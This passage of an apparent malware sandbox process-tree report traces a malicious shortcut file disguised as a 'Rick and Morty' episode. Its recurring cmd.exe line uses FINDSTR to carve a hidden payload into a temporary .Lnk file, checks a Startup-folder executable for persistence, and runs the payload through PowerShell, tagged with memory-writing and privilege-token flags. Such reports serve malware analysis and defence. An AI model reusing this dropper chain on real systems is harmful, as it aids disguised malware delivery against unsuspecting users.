        PID:2220
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        36⤵
        Suspicious use of WriteProcessMemory
        
        PID:5920
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0496" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        37⤵
        
        PID:1988
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        37⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:3396
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        38⤵
        Suspicious use of WriteProcessMemory
        
        PID:1984
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0587" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        39⤵
        
        PID:6120
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        39⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:5216
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        40⤵
        Suspicious use of WriteProcessMemory
        
        PID:3472
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0659" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        41⤵
        
        PID:1560
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        41⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:3132
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        42⤵
        Suspicious use of WriteProcessMemory
        
        PID:4944
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0732" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        43⤵
        
        PID:4208
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        43⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:5392
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        44⤵
        
        PID:4616
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0810" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        45⤵
        
        PID:4588
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        45⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5056
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        46⤵
        
        PID:4248
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0899" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        47⤵
        
        PID:3812
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        47⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5528
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        48⤵
        
        PID:3252
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0974" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        49⤵
        
        PID:4816
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        49⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:976
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        50⤵
        
        PID:4976
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0044" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        51⤵
        
        PID:2028
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        51⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1120
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        52⤵
        
        PID:3808
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0121" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        53⤵
        
        PID:4812
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        53⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3168
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        54⤵
        
        PID:4704
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0202" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        55⤵
        
        PID:5972
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        55⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:916
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        56⤵
        
        PID:3236
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0273" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        57⤵
        
        PID:1912
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        57⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5888
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        58⤵
        
        PID:2904
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0354" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        59⤵
        
        PID:3316
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        59⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5176
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        60⤵
        
        PID:5772
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0423" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        61⤵
        
        PID:2900
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        61⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4288
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        62⤵
        
        PID:2984
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0509" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        63⤵
        
        PID:2272
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        63⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:688
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        64⤵
        
        PID:5324
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0591" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        65⤵
        
        PID:2488
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        65⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5648
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        66⤵
        
        PID:6012
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0671" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        67⤵
        
        PID:4648
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        67⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:448
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        68⤵
        
        PID:2056
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0762" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        69⤵
        
        PID:1060
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        69⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4924
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        70⤵
        
        PID:4840
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0838" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        71⤵
        
        PID:4576
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        71⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:4764
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        72⤵
        
        PID:5588
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0915" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        73⤵
        
        PID:3912
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        73⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:6104
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        74⤵
        
        PID:2608
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0993" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        75⤵
        
        PID:1220
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        75⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3088
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        76⤵
        
        PID:3276
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0069" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        77⤵
        
        PID:3080
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        77⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4420
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        78⤵
        
        PID:5488
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0146" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        79⤵
        
        PID:220
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        79⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3824
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        80⤵
        
        PID:908
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0229" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        81⤵
        
        PID:1136
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        81⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3888
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        82⤵
        
        PID:3748
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0310" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        83⤵
        
        PID:3116
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        83⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4688
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        84⤵
        
        PID:5240
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0393" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        85⤵
        
        PID:5116
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        85⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4712
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        86⤵
        
        PID:5160
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0485" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        87⤵
        
        PID:5604
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        87⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:5876
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        88⤵
        
        PID:4484
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0557" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        89⤵
        
        PID:2512
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        89⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:2504
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        90⤵
        
        PID:1572
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0634" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        91⤵
        
        PID:5340
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        91⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:5568
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        92⤵
        
        PID:5276
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0707" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        93⤵
        
        PID:5684
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        93⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2188
        
        C:\Windows\SYSTEM32\cmd.EXE
        
